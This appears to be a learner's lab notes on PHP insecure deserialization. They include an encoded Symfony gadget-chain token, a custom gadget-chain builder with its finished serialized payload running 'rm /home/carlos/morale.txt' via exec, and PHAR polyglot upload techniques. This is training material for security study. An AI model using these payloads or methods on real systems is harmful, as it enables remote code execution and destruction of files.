{"token":"Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==","sig_hmac_sha1":"ea968448f0ec5715e18e2928470ca455e69bbcfa"}
%7B%22token%22%3A%22Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg%3D%3D%22%2C%22sig_hmac_sha1%22%3A%22ea968448f0ec5715e18e2928470ca455e69bbcfa%22%7D
```
==Notice==
when you attempt to write hash_hmac function, it's crucial to pay attention to the order of the payload and key, as it directly affect the hash result


---
## Working with documented gadget chains
we didn't always have dedicated tools available for exploiting know gadget chain in the framework.
looking online to see if there are any documented exploits that you can adapt manually.
## Exploiting Ruby deserialization using a documented gadget chain (skip)
沒寫過Ruby
# Creating Exploit
Condition: Access Source Code
Step 1
to analysis a class that contain the magic method that is invoked during unserialization.
e.g. __weakup, __sleep, __destruct
## LAB-Developing the customer gadget chain for php deserialization
Vulnerable Source code:
```php=
<?php
class CustomTemplate {
private $default_desc_type;
private $desc;
public $product;
public function __construct($desc_type='HTML_DESC') {
$this->desc = new Description();
$this->default_desc_type = $desc_type;
// Carlos thought this is cool, having a function called in two places... What a genius
$this->build_product();
}
public function __sleep() {
return ["default_desc_type", "desc"];
}
public function __wakeup() {
$this->build_product();
}
private function build_product() {
$this->product = new Product($this->default_desc_type, $this->desc);
}
}
class Product {
public $desc;
public function __construct($default_desc_type, $desc) {
$this->desc = $desc->$default_desc_type;
}
}
class Description {
public $HTML_DESC;
public $TEXT_DESC;
public function __construct() {
// @Carlos, what were you thinking with these descriptions? Please refactor!
$this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
$this->TEXT_DESC = 'This product is cool in text';
}
}
kick-gadget -> Class CustomerTemplate __weakup magic methods
//-------------------------------------------------------------------------
//Danger Sink!!
class DefaultMap {
private $callback;
public function __construct($callback) {
$this->callback = $callback;
}
//$this->callback probably is a function or object !! it will pass the $name into $this->callback
public function __get($name) {
return call_user_func($this->callback, $name);
}
}
?>
```
Analysis:
Analysis ->Class CoustomTemplate
```php=
<?php
class product{
private $name;
public function __construct($name)
{
$this->name = $name;
}
public function getName(){
return $this->name;
}
}
class coustomTemplate{
private $userName;
public $product;
public function __construct($userName)
{
$this->userName = $userName;
$this->buildProduct();
}
public function __sleep()
{
return ["userName"]; //Before the serialize (it will be keeped !!)
}
public function __destruct()
{
$this->buildProduct();
}
private function buildProduct(){
$this->product = new product($this->userName);
}
}
//serialize the obj
$template = new coustomTemplate("meowheckerTest");
$serialize = serialize($template);
echo "serialize Obj:\n" . $serialize . "\n";
//unserialize the obj
echo ("------------------------------------------------\n");
$unserialize = unserialize($serialize);
echo ("unserialize Obj\n");
print_r($unserialize);
echo $template->product->getName();
?>
```
```
php .\analysisCode.php
serialize Obj:
O:15:"coustomTemplate":1:{s:25:"coustomTemplateuserName";s:14:"meowheckerTest";}
------------------------------------------------
unserialize Obj
coustomTemplate Object
(
[userName:coustomTemplate:private] => meowheckerTest
[product] =>
)
meowheckerTest
```

---
Danger function -> call_user_func() a is danger function which can invoke the exec() function to execute the System command
```php
<?php
function execTest($command){
$result = exec($command);
echo $result;
}
call_user_func('execTest','echo "meow"')
?>
```
---
Invoke Another Class Method
```php=
<?php
class ClassA {
public $name = 'name';
}
class ClassB {
public function __construct()
{
echo "From classb method \n";
}
public function test(){
echo "Test";
}
}
$meowhecker = new ClassA("meowhecker");
$meowheckerB = new ClassB();
$meowhecker = $meowheckerB->test();
?>
```
```
php .\invokeAnotherClassMethod.php
From classb method
Test
```
我們可以在 objectA 裡面去 create 一個obj 來invoke another Class Methods
---
Analysis -> DefaultMap (exec command systems )
```php
<?php
// CustomTemplate->default_desc_type = "rm /home/carlos/morale.txt" systems command
// CustomTemplate->desc = "" Invoke Danger Sink!!
// DefaultMap->callback = "exec"
class DefaultMap{
public $callback;
public function __construct()
{
$this->callback = "exec";
}
}
class CustomTemplate{
public $DefaultMap;
public function __construct()
{
$this->default_desc_type = "rm /home/carlos/morale.txt";
$this->desc = "DefaultMap";
$this->DefaultMap = new DefaultMap();
}
public function appendObj(){
$reulst = new DefaultMap();
return $reulst;
}
}
$DefaultMapObject = new DefaultMap();
$object = new CustomTemplate();
$serializedObject = $object->appendObj();
$serialzeDefaultMapObj = serialize($serializedObject);
echo $serialzeDefaultMapObj. "\n";
echo serialize($object). "\n";
echo
"------------------------------------------------"."\n";
echo "final paylaod" . "\n";
// Construct Final payload
$finalSerialized = 'O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";'. $serialzeDefaultMapObj.'}';;
echo $finalSerialized . "\n";
?>
```
Payloads (Result)
```
php .\exploit.php
O:10:"DefaultMap":1:{s:8:"callback";s:4:"exec";}
O:14:"CustomTemplate":3:{s:10:"DefaultMap";O:10:"DefaultMap":1:{s:8:"callback";s:4:"exec";}s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";s:10:"DefaultMap";}
------------------------------------------------
final paylaod
O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:4:"exec";}}
```
---
## PHAR deserialization
### Enable Phar on PHP.ini


```php=
<?php
$phar = new Phar('meowhecker.phar'); // phar -打包的php
//Access PHP file by unpacket the Phar
$indextContent = file_get_contents('phar://meowhecker.phar/index.php');
echo $indextContent;
?>
```
```
php .\PHParchie.php
<?php echo 'meowhecker'; ?>
```

Phar will implicitly deserialized when performing file systems operation on a "phar:// " stream (php will parse "phar://" stream )
we can try to control it and pass it into the file system method.
### Danger file system method
### include() //(Running the PHP Script!!)
```php
<?php
$phar = new Phar('meowhecker.phar'); // phar -打包的php
$phar['index.php'] = "<?php echo 'meowhecker'; ?>";
//Access PHP file by unpacket the Phar
$indextContent = file_get_contents('phar://meowhecker.phar/index.php');
echo "parse phar file :" . $indextContent . "\n";
//Rungin the php script!!
echo "Running the php script from the phar file:\n";
include('phar://meowhecker.phar/index.php'); // or include 'phar://meowhecker.phar/index.php' ;
?>
```

### fopen()
```php
<?php
$phar = new Phar('meowhecker.phar');
$phar['index.php'] = "<?php echo 'meowhecker'?>";
$pharFile = 'Phar://meowhecker.phar/index.php';
$fileHandle = fopen($pharFile,'r');
if($fileHandle){
while(!feof($fileHandle)){
$line = fgets($fileHandle);
echo $line;
}
fclose($fileHandle);
}
else {
echo " Phar file read faild !";
}
```

### file_exists()
Although file.exists seem didn't very danger function, it probably not be protected well.
```
<?php
$phar = new Phar('meowhecker.phar');
$phar['index.php'] = "<?php echo 'meowhecker'?>";
$pharFilePath = 'Phar://meowhecker.phar/index.php';
if (file_exists($pharFilePath)) {
echo "Phar 文件中的文件存在。\n";
} else {
echo "Phar 文件中的文件不存在。\n";
}
?>
```
### Upload the Phar to the Server!!
Method:
Upload the Phar by the image upload functionality.
We can attempt to create a polyglot file that appears to be a JPG file but is actually a Phar archive (phar://).
Any harmful data we inject via Phar metadata will be deserialized
As the file extension is not checked when PHP reads a stream, it does not matter that the file uses an image extension
we could adding __weakup() or __destruct() magic method to kick of gadget chain.
## LAB-Using PHAR deserilizatoin to deploy a custom gadget chain.


```php
<?php
class CustomTemplate {
private $template_file_path;
public function __construct($template_file_path) {
$this->template_file_path = $template_file_path;
}
private function isTemplateLocked() {
return file_exists($this->lockFilePath());
}
public function getTemplate() {
return file_get_contents($this->template_file_path);
}
public function saveTemplate($template) {
if (!isTemplateLocked()) {
if (file_put_contents($this->lockFilePath(), "") === false) {
throw new Exception("Could not write to " . $this->lockFilePath());
}
if (file_put_contents($this->template_file_path, $template) === false) {
throw new Exception("Could not write to " . $this->template_file_path);
}
}
}
function __destruct() {
// Carlos thought this would be a good idea
@unlink($this->lockFilePath());
}
private function lockFilePath()
{
return 'templates/' . $this->template_file_path . '.lock';
}
}
?>
```

```php
<?php
require_once('/usr/local/envs/php-twig-1.19/vendor/autoload.php');
class Blog {
public $user;
public $desc;
private $twig;
public function __construct($user, $desc) {
$this->user = $user;
$this->desc = $desc;
}
public function __toString() {
return $this->twig->render('index', ['user' => $this->user]);
}
public function __wakeup() {
$loader = new Twig_Loader_Array([
'index' => $this->desc,
]);
$this->twig = new Twig_Environment($loader);
}
public function __sleep() {
return ["user", "desc"];
}
}
?>
```